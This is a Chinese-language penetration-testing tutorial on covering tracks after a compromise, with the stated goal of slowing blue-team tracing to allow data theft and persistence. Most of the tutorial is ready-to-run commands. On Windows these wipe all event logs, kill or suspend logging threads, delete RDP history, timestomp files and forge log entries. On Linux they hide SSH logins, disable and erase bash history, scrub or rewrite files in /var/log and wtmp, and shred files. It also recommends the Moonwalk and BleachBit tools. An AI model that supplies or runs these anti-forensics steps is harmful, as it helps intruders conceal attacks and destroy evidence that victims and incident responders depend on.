在渗透测试的后渗透阶段,痕迹清理是保障攻击隐蔽性、为后续行动争取时间的关键环节。很多人误以为痕迹清理是攻击结束后的收尾工作,实际上,真正的痕迹清理应该贯穿整个渗透过程 ------ 边操作、边清理,才能最大程度降低被蓝队溯源的风险。
什么是痕迹清理?
痕迹清理,本质上是抹除或替换渗透操作在目标系统中遗留的各类记录,它既可以是攻击完成后的收尾,也可以是为了长期隐秘持久化权限的日常操作。
发生场景
这类操作最常见于内网渗透场景中,攻击者通过跳板机横向移动时,需要清理每一步操作留下的记录;当然在 Web 渗透中,也会涉及到 Web 后门的痕迹隐藏。
痕迹清理的核心目的
-
为下一步渗透争取时间差:拖延蓝队的溯源与应急响应速度,为自己的后续行动(比如数据窃取、权限维持)留出窗口。
-
提升操作的隐蔽性:避免自己的攻击行为被管理员或安全设备发现,保障攻击链路的安全。
注意:没有绝对的无痕操作!只要与目标系统产生交互,就一定会留下痕迹,第三方日志平台(比如 SIEM、云审计平台)的记录更是几乎无法篡改。我们能做的,只是尽可能清理本地可操作的记录,提升溯源的难度。
Windows 系统痕迹清理
想要清理 Windows 的操作痕迹,首先要搞懂 Windows 的日志记录机制,只有知道日志是怎么产生的,才能针对性地处理。
Windows 日志记录的基本机制
Windows 的日志记录依赖于几个核心组件:
-
svchost.exe:Windows 自带的系统进程,其中会启动专门的日志记录线程,负责捕获系统操作。
-
内存缓存:捕获到的操作会先暂存到内存中,避免频繁磁盘 IO。
-
XML 解析 :内存中的数据会通过
wevtutil\.exe解析为 XML 格式的中间文件。 -
日志生成:最终 XML 文件会被转换为我们可以在事件查看器中看到的可读日志,每条日志都包含时间、来源、用户、操作等核心信息。
我们所有的系统日志,都可以在计算机 - 管理 - 事件查看器中查看:

Windows 日志的分类与核心信息
Windows 的日志分为多个类别,不同的日志记录不同维度的操作:
-
自定义视图:可以自定义筛选重要日志,方便快速查看。
-
应用程序日志:记录系统上安装的应用程序的运行事件。
-
安全日志:最核心的安全审计日志,记录用户登录、注销、权限变更、文件访问等操作。
-
Setup 日志:系统更新、组件安装相关的日志。
-
系统日志:记录系统内核、服务、注册表、开关机等系统级操作。
-
ForwardedEvents:转发的事件日志,比如 DNS 的转发记录。
-
应用程序和服务日志:微软自带组件、第三方软件的专属日志,比如 OpenSSH 的连接日志。
每条日志都包含这些核心属性:
-
日志级别:标识事件的严重程度,用于快速评估事件的紧急性,比如错误、警告、信息等。
-
日期和时间:事件发生的时间戳,是溯源的核心线索。
-
来源 :生成事件的组件或程序,比如
Microsoft\-Windows\-Security\-Auditing代表安全审计事件。 -
事件 ID:唯一标识事件类型的数字,蓝队应急响应中最常用的标识,比如:
事件 ID 含义 1074 系统即将关闭 6005 系统启动 6006 系统关闭 4624 成功登录 4625 登录失败 4634 用户注销 4688 新进程创建 4697 安装或卸载服务 -
任务类别:对事件的分类,比如登录事件、对象访问、进程追踪等。
实战:Windows 痕迹清理的具体操作
1. 清理 3389 远程桌面连接痕迹
内网渗透中,3389 远程桌面是最常用的横向移动手段,而 RDP 连接会在本地留下两类痕迹:
-
文档目录下的
Default\.rdp配置文件,记录了连接的配置信息。 -
注册表中的连接历史,记录了曾经连接过的目标 IP、账号信息。
对应的注册表路径为:HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\,在这里可以看到所有的 RDP 连接历史:

我们可以通过批处理脚本一键清理这些痕迹:
@echo off
:: 删除注册表中的RDP连接历史
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /v "TestServer" /t REG_SZ /d "server_address" /f
:: 删除文档中的rdp配置文件
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
2. 系统日志的全面清理
Windows 的系统日志默认存放在%SystemRoot%\\System32\\Winevt\\Logs\\目录下,我们可以通过多种方式清理这些日志:
方式 1:命令行工具 wevtutil
wevtutil是 Windows 自带的日志管理工具,我们可以用它快速清理各类日志:
:: 列出系统中所有日志名称
wevtutil el
:: 清理系统日志
wevtutil cl system
:: 清理应用程序日志
wevtutil cl application
:: 清理安全日志
wevtutil cl security
:: 一键清理所有日志
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
执行效果如下:

方式 2:PowerShell 清理
# 清理指定日志
Clear-Eventlog -Log Application,system,security
# 批量清理所有日志
Get-WinEvent -ListLog * -Force | %{Wevtutil.exe cl $_.Logname}
方式 3:渗透工具自带功能
比如 MSF 的 meterpreter 中,自带了clearev命令,可以一键清理事件日志;Cobalt Strike 也有对应的日志清理插件。
注意:直接删除整个日志文件的操作风险很高,不仅可能导致系统崩溃,删除日志这个行为本身也会产生新的日志,很容易被蓝队发现。
3. 最近文件记录清理
渗透过程中上传的脚本、打开的文件,都会在系统的 "最近使用的文件" 中留下记录,这些记录存放在用户目录的Recent文件夹中,我们可以用命令一键清理:
del /f /s /q "%userprofile%\Recent\*.*"
4. 文件的覆写删除
普通的删除文件只是标记了磁盘空间为可用,数据其实还可以被恢复。所以对于敏感文件,我们需要用覆写的方式彻底删除:
:: 覆写删除单个文件所在的磁盘空闲空间,彻底擦除已删除文件的痕迹
cipher /w:C:\test
:: 格式化整个盘符(谨慎使用)
format 盘符
5. 停止日志记录
如果我们需要进行长时间的操作,与其事后清理,不如提前停止日志的生成,避免产生大量的记录:
方式 1:Invoke-Phant0m
这是一个 PowerShell 脚本,它会直接杀掉 svchost.exe 中的日志记录线程,让系统不再产生日志:
# 管理员身份启动PowerShell
powershell
# 导入模块
import-module .\Invoke-Phant0m.ps1
# 执行停止日志
Invoke-Phant0m
缺点:杀掉线程后,想要恢复日志功能必须重启系统。
方式 2:EventCleaner(推荐)
这是更灵活的工具,它不会杀掉日志线程,而是将线程挂起,渗透完成后可以恢复日志功能,不会影响系统:
# 管理员身份启动CMD
cmd
:: 挂起日志线程,停止记录
EventCleaner.exe suspend
:: 渗透完成后,恢复日志记录
EventCleaner.exe normal
6. 伪造痕迹
有时候,清理痕迹不如伪造痕迹,把自己的操作伪装成正常的系统事件,更难被发现:
伪造文件时间戳
修改文件的创建、访问、修改时间,让敏感文件看起来像是旧的系统文件:
Function edit_time($path) {
# 随机从现有文件的时间中选一个,避免时间太突兀
$date1 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
$date2 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
$date3 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
$(Get-Item $path).LastAccessTime = $date1
$(Get-Item $path).CreationTime = $date2
$(Get-Item $path).LastWriteTime = $date3
}
# 修改C:\test文件的时间
edit_time "C:\test"
伪造系统日志
用 Windows 自带的eventcreate工具,生成伪造的日志,混淆蓝队的分析:
# 管理员身份运行,在系统日志中生成一条伪造的警告事件
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
Linux 系统痕迹清理
Linux 的设计遵循 "万物皆文件" 的思想,所有的日志、记录都以文件的形式存在,所以 Linux 的痕迹清理相对 Windows 来说,操作更直接。
1. 隐藏远程 SSH 登录记录
默认的 SSH 登录会被w、who、last等命令检测到,我们可以用特殊的登录方式,隐藏登录记录:
# 隐藏登录,不会被w、who、last检测到
ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i
# 进阶:同时不记录SSH公钥到本地known_hosts,避免留下目标主机的指纹
ssh -o UserKnownHostsFile=/dev/null -T root@xxx.xxx.xxx.xxx /bin/bash -i
2. Bash 历史命令清理
Linux 的命令行操作都会被记录到\.bash\_history文件中,这是最容易暴露攻击行为的记录,所以清理历史命令是重中之重。
Bash 历史记录的原理
-
启动 Shell 时,会从
\.bash\_history中读取历史记录到内存缓冲区。 -
操作的命令会先存到内存缓冲区,不会立刻写入文件。
-
退出 Shell 时,才会把缓冲区的内容写入到
\.bash\_history文件。
清理历史命令的方法
# 1. 全部清空历史记录
history -c # 清空内存中的缓存
history -w # 把空的缓存写入文件,覆盖原来的历史
# 2. 删除指定的命令
history | grep "keyword" # 找到要删除的命令的编号
history -d num # 删除指定编号的命令
# 批量删除,只保留最后15行
sed -i '15,$d' .bash_history
# 3. 临时停止当前Shell的历史记录
set +o history # 关闭记录,之后的命令不会被记录
# 操作完成后,重新开启
set -o history
# 4. 彻底禁用历史记录
# 方法1:修改全局配置,所有Shell生效
echo "HISTSIZE=0" >> /etc/profile
source /etc/profile
# 方法2:当前Shell临时生效
HISTSIZE=0 && HISTFILESIZE=0
# 方法3:修改用户配置,永久生效
echo "HISTSIZE=0 && HISTFILESIZE=0" >> ~/.bashrc
清理 Bash 历史的操作效果:

3. 系统日志清理
Linux 的系统日志都存放在/var/log/目录下,我们可以针对性地清理这些日志:
基础的日志清空
# 清除用户最后一次登录时间
echo > /var/log/lastlog
# 清除当前登录用户的信息
echo > /var/log/utmp
# 清除安全日志记录
cat /dev/null > /var/log/secure
# 清除系统日志记录
cat /dev/null > /var/log/message
注意:直接把整个日志文件清空的特征太明显,很容易被管理员发现,推荐用针对性的修改。
针对性修改日志
只删除自己的操作记录,保留其他正常的日志,更隐蔽:
# 用sed修改日志中的内容,把自己的IP替换成其他的
sed -i 's/10.0.0.1/192.168.1.1/g' /var/log/apache2/access.log.1
# 删除日志中带有关键字的行
sed -i '/10.0.0.1/'d /var/log/apache2/access.log.1
# 用grep过滤掉自己的记录,重写日志文件
cat access.log | grep -v "10.0.0.1" > access.log.new
cat access.log.new > access.log
二进制日志的修改
对于wtmp、btmp这类二进制日志,我们需要先转成文本,修改后再转回去:
# 导出wtmp为文本
utmpdump /var/log/wtmp > /var/log/wtmp.txt
# 修改文本,替换自己的IP
vim /var/log/wtmp.txt
:%s/10.0.0.1/192.168.5.5/g
# 重新转成二进制日志
utmpdump -r < /var/log/wtmp.txt > /var/log/wtmp
# 删除临时文件
rm /var/log/wtmp.txt
覆写删除敏感文件
和 Windows 一样,Linux 也可以用覆写的方式彻底删除文件,避免被恢复:
# shred工具,多次覆写文件,彻底删除
shred -f -u -z -v -n 6 目标文件
# 参数说明:
# -f: 强制修改权限
# -n 6: 覆写6次,默认3次
# -u: 覆写后删除文件
# -z: 最后用0覆盖,隐藏覆写痕迹
修改文件时间戳
修改敏感文件的时间戳,伪装成旧文件,避免被管理员发现:
# 查看文件的时间
stat test.txt
# 修改访问时间和修改时间
touch -a -d "2023-02-02 11:10:20.000235123" test.txt
touch -m -d "2023-02-02 12:10:20.010242137" test.txt
# 如果要修改改动时间(ctime),可以临时修改系统时间
date -s "20230201 16:43:53"
touch -r ~/.bashrc test.txt # 把系统文件的时间赋给目标文件
hwclock --hctosys # 恢复系统时间
4. 自动化清理工具
Moonwalk:Linux 无痕会话工具
Moonwalk 是一个轻量的 Linux 痕迹清理工具,它可以在你开始渗透前备份系统日志的状态,渗透完成后,把日志和文件时间戳恢复到之前的状态,相当于 "无痕会话":
# 下载安装
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
# 开始渗透前,启动会话,备份当前状态
./moonwalk start
# 执行你的渗透操作...
# 操作完成后,清理痕迹,恢复状态
./moonwalk finish
# 单独恢复某个文件的时间戳
./moonwalk get test.txt
BleachBit:跨平台系统清理工具
BleachBit 是一个开源的跨平台清理工具,支持 Windows 和 Linux,它可以一键清理系统缓存、历史记录、日志、临时文件等,同时支持安全擦除,是渗透中很常用的自动化清理工具:

痕迹清理的核心总结与注意事项
核心重点
-
痕迹清理的核心目的是争取时间差,而不是绝对的无痕。
-
要熟悉目标系统的日志记录机制,才能针对性地清理。
-
优先清理自己的操作记录,而不是清空整个日志,后者太容易暴露。
实战注意事项
-
优先单条删除,而非全盘清空:能只删除自己的操作记录,就不要清空整个日志文件,全盘清空的特征太明显,反而会告诉蓝队 "这里有人攻击过"。
-
文件删除尽量用覆写:普通删除很容易被数据恢复,敏感文件一定要用覆写的方式彻底擦除。
-
伪造痕迹比清理更有效:把自己的操作伪装成正常事件,比删除记录更难被发现。
-
不要随便停止日志进程:直接杀掉日志线程会导致整个日志系统停止,蓝队一眼就能看到异常,不如针对性删除自己的记录。
-
利用网络隧道隐藏连接痕迹:端口转发、内网穿透这些技术,本身就是隐藏网络连接痕迹的手段。
-
评估时间差:清理完痕迹后,要估算蓝队需要多久才能发现并溯源,为自己的下一步行动留出足够的时间。
学习路径
想要做好痕迹清理,你需要深入学习这些内容:
-
蓝队的应急响应与溯源思路,知己知彼才能知道要清理什么。
-
安全软件的清理逻辑,学习它们的日志路径,就能知道系统会记录什么。
-
Windows 的文件系统与事件日志机制,深入理解日志的产生原理。
-
Linux 的日志系统与 Shell 机制,搞清楚各类记录的存储位置。